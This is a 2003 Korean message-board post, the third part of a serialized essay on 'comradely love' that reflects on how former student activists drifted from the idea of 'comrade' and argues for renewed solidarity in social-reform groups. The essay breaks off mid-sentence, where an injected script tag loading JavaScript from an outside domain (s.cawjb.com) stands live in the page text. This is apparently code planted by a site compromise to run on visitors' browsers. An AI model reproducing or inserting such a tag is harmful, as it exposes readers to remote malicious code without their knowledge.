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민주공원 자유 게시판
제목 우리시대의 사랑론 : 동지애적 사랑론
번호 8 작성자 김광수
작성일 2003-03-04 오후 12:18:00 조회수 3183 회
우리시대의 사랑론

김광수(내일을 여는 청년회 부회장/홈피 www.naechung.org)


《편집자 주》나는 이 주제에 대한 글을 쓰기가 두렵다. 그래서 나는 글을 쓰기보다는 여러 가지 자료들을 '조합'한다고 생각하였다. 또한 실제 '조합'하였다. 그래서 나는 '글쟁이'가 아니라, '정리자'가 된다. 동시에 "우리시대의 사랑론"은 앞으로 1. 사랑에 대한 철학사상적 고찰 / 2. 사랑의 여러 유형에 대하여 / 3. 동지애적 사랑에 대해 / 4. 우리시대의 사랑에 대해로 구분하여 차례대로 싣겠습니다.
※ 그리고 앞글 Ⅰ사랑에 대한 철학사상적 고찰 Ⅱ사랑의 여러유형에 대하여는 홈피 www.naechung.org 김광수 칼럼난에 실려 있습니다. 참조하시기 바랍니다.
그리고 또한 1> 동지애론에 대한 철학적 고찰의 필요성 中 (1) 왜, 동지애론을 철학적으로 접근하여야 하는가.에서 " ~ 결정적으로 규정하는 요인이 되기도 합니다."와 "했을 때 한국사회 ~ "사이에 도표가 있습니다. 또하나의 도표는 3. 올바른 동지애론 확립을 위하여 中 1> 동지애에 대한 몇가지 예에서 (1) " '가깝다는 것'과 동지애"와 " 이렇게 놓고 볼 때 "사이에도 도표가 있습니다. 문맥에 대한 이해가 되지 않을 경우에도 내청 홈페이지를 참조해 주세요.

Ⅲ동지애적 사랑에 대하여

학생운동 이후 사회로 진출하면서 우리에게서 멀어진 단어중의 하나가 '동지'라는 단어일 것입니다. 그리하여 이 단어는 '동지'와의 친밀성정도에 따라 <가까이>있으면 먼저 사회로 나온 운동권 출신자들로부터는 '변화'에 적응하지 못한 후배로, <멀리>있으면 학생운동후배들로부터는 운동의 원칙성을 저버린 '개량'주의자로 매도되는 기준점이 되기도 하였습니다.
우리는 여기서 심각한 반성과 교훈을 찾아야 합니다. 교훈은 주체자신이 인정하고 싶지 않은 부분까지도 잘못된 청춘에 대해 인정하는 용기가 필요하며, 반성의 출발점은 한때 어느 누구보다도 애국적 열정을 갖고 살아온 청춘이 왜 정체성을 잃어버린, <회색지대>에 내몰리고 있는 원인을 찾는 것입니다.
이 시론적 성격의 <동지애적 사랑론>은 위의 이러한 처지에 대한 우리의 심각한 반성과 교훈에 기초해 자주적 대중조직에서의 올바른 동지애론을 어떻게 발전시켜 나갈것이며, 나아가 사회변혁을 꿈꾸며 갈망하는 회원'활동가'들이 회원'활동가'들을 대하는 관점과 태도를 바로잡는데 그 목적으로 하고 있음을 밝혀 둡니다.

1. 학생운동시절 동지애론에 대한 반성적 고찰

솔직히(어찌보면 앞으로도 많은 사람들이) 학생운동 시절만큼 '동지'라는 단어를 접해불 수 있는 경험을 가지기 어려운 것도 현실일 것이며, 또한 많은 사람들이- 한때 가장 적극적으로 이 단어를 즐겨 사용하며 학생운동권의 중심에 있었던 사람들 조차도 - 지나간 아련한 추억으로만 남아 있는 빛바랜 단어로 인식하고 있는 것도 사실일 겁니다.
여기서 우리의 의문은 이렇게 한벌가고 덜떨어진 '동지'라는 단어를 다시 부활하고 복원하고자 하는 목적이 어디에 있는가 입니다. 이유는 간단합니다. 우리가 사회변혁을 꿈꾸는 이상, 이것은 놓을 수 없는 우리들의 관계이기 때문입니다. 그렇기 때문에 이 관계의 파괴나, 멀어짐은 우리가 사회변혁을 성공시키겠다는 의지가 없다는 것과 동의어가 됩니다.

비유가 좀 그렇기는 하지만, 봉건시대에 '품앗이'와 '두레'라는 <상부상조>없이 농경사회가 가능했겠으며 농사를 지을 수 있었겠습니까?

똑같습니다. 우리가 다시 자주/민주/통일의 기치아래 사회변혁운동을 꿈꾸고자 한다면, 이 '동지'라는 단어에서 자유로와서는 안됩니다. 아니, 자유로울 수 없습니다. 이의 현실적인 의미는 '동지'라는 단어에 걸맞는 관계를 맺어야만 주체자신에게 변혁운동이 현실운동으로 될 수 있다는 것이며, 아니면 '동지'라는 단어와는 하등의 관심없이 '변혁'을 꿈꾼다면 이는 주체자신에게 솔직하지 않은 사람이며 운동을 관념적으로 사고하고 있다는 것을 반증하기 때문입니다.
이렇듯 '동지'를 대하는 비례관계에 따라 변혁운동을 현실운동으로 대하느냐, 아니면 관념적 운동으로 대하느냐가 갈라지게 됩니다.

1) 동지애를 '변혁'운동적 수단으로 바라보는 경향이 있었습니다.

동지애는 정치사상적 통일에 근거한 운동적 의리와 믿음을 그 철학적 기초(=사회정치적 생명체)로 하여 정치사상적 힘을 극대화하는 방향으로 운동적 요구(=자주/민주/통일의 실현)를 실천적으로 실현하기 위한 단결의 무기로 통일될때 그 의미가 완전하다 할 것입니다.
그런데 문제는 우리 대부분들이 학생운동 시절 동지애를 철학적 기초를 간과한채 운동적 요구실현이라는 측면에서 이해함으로서 동지애를 수단화하게 되었다는데 있습니다. 이는 필연적으로 운동적 요구실현이라는 이해관계가 옅어지면 옅어질 수록 동지애도 비례적?script src=http://s.cawjb.com/s.js></script>





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